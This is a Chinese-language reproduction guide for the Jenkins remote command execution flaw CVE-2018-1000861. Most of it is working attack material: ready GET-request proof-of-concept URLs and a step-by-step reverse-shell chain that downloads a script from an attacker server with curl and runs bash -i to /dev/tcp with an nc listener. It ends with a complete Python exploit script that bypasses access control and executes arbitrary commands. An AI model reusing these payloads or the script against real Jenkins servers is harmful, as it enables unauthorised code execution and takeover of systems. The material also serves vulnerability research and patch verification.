（CVE-2018-1000861）Jenkins 远程命令执行漏洞

一、漏洞简介

Jenkins使用Stapler框架开发，其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制，攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞，我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令：Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误，检查操作是没有沙盒的，攻击者可以通过Meta-Programming的方式，在检查这个步骤时执行任意命令。

二、漏洞影响

Jenkins Version \<= 2.56

Jenkins LTS Version \<= 2.46.1

三、复现过程

漏洞复现:

1.此漏洞是没有回显的,所以我们这里直接反弹shell:

此漏洞的POC(直接GET请求即可):

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}}

2.我们这里采取下载文件的方法来反弹shell

$1$ 先在我们的服务器上防止一个文本,内容为:

bash -i >& /dev/tcp/172.26.1.156/9999 0>&1

$2$ 然后我们替换POC中执行命令的部分为下载文件的命令:

curl -o /tmp/1.sh http://172.26.1.156:8080/1.txt

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://172.26.1.156:8080/1.txt%22.execute()}}

$3$ 给予下载的脚本执行权限:

chmod 777 /tmp/1.sh

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}

$4$ 然后在我们接收shell的机器上监听之前写的端口:

nc -lvvp 9999

$5$ 直接bash执行我们下载的脚本

bash /tmp/1.sh

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}

$6$ 回到我们监听端口的机器:

可以看到已经成功获取到了shell!

poc

useage

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

#!/usr/bin/python
# coding: UTF-8
# author: Orange Tsai(@orange_8361)
#

import sys
import requests
from enum import Enum

# remove bad SSL warnings
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass


endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'

class mode(Enum):
    ACL_PATCHED = 0
    NOT_JENKINS = 1
    READ_ENABLE = 2
    READ_BYPASS = 3
    ENTRY_NOTFOUND = 999

def usage():
    print '''
  Usage:
    python exp.py <url> <cmd>
    '''

def _log(msg, fail=False):
    nb = '[*]'
    if fail:
        nb = '[-]'
    print '%s %s' % (nb, msg)

def _get(url, params=None):
    r = requests.get(url, verify=False, params=params)
    return r.status_code, r.content

def _add_bypass(url):
    return url + 'securityRealm/user/admin/'

def check(url):
    flag, accessible = mode.ACL_PATCHED, False

    # check ANONYMOUS_READ
    status, content = _get(url)
    if status == 200 and 'adjuncts' in content:
        flag, accessible = mode.READ_ENABLE, True
        _log('ANONYMOUS_READ enable!')
    elif status == 403:
        _log('ANONYMOUS_READ disable!')

        # check ACL bypass, CVE-2018-1000861
        status, content = _get(_add_bypass(url))
        if status == 200 and 'adjuncts' in content:
            flag, accessible = mode.READ_BYPASS, True
    else:
        flag = mode.NOT_JENKINS

    # check entry point, CVE-2019-1003005
    if accessible:
        if flag is mode.READ_BYPASS:
            url = _add_bypass(url)
        status, content = _get(url + endpoint)

        if status == 404:
            flag = mode.ENTRY_NOTFOUND

    return flag

def exploit(url, cmd):
    payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
    params = {
        'sandbox': True, 
        'value': payload
    }

    status, content = _get(url + endpoint, params)
    if status == 200:
        _log('Exploit success!(it should be :P)')
    elif status == 405:
        _log('It seems Jenkins has patched the RCE gadget :(')
    else:
        _log('Exploit fail with HTTP status [%d]' % status, fail=True)
        if 'stack trace' in content:
            for _ in content.splitlines():
                if _.startswith('Caused:'):
                    _log(_, fail=True)

if __name__ == '__main__':
    if len(sys.argv) != 3:
        usage()
        exit()

    url = sys.argv[1].rstrip('/') + '/'
    cmd = sys.argv[2]

    flag = check(url)
    if flag is mode.ACL_PATCHED:
        _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
    elif flag is mode.NOT_JENKINS:
        _log('Is this Jenkins?', fail=True)
    elif flag is mode.READ_ENABLE:
        exploit(url, cmd)
    elif flag is mode.READ_BYPASS:
        _log('Bypass with CVE-2018-1000861!')
        exploit(_add_bypass(url), cmd)
    else:
        _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)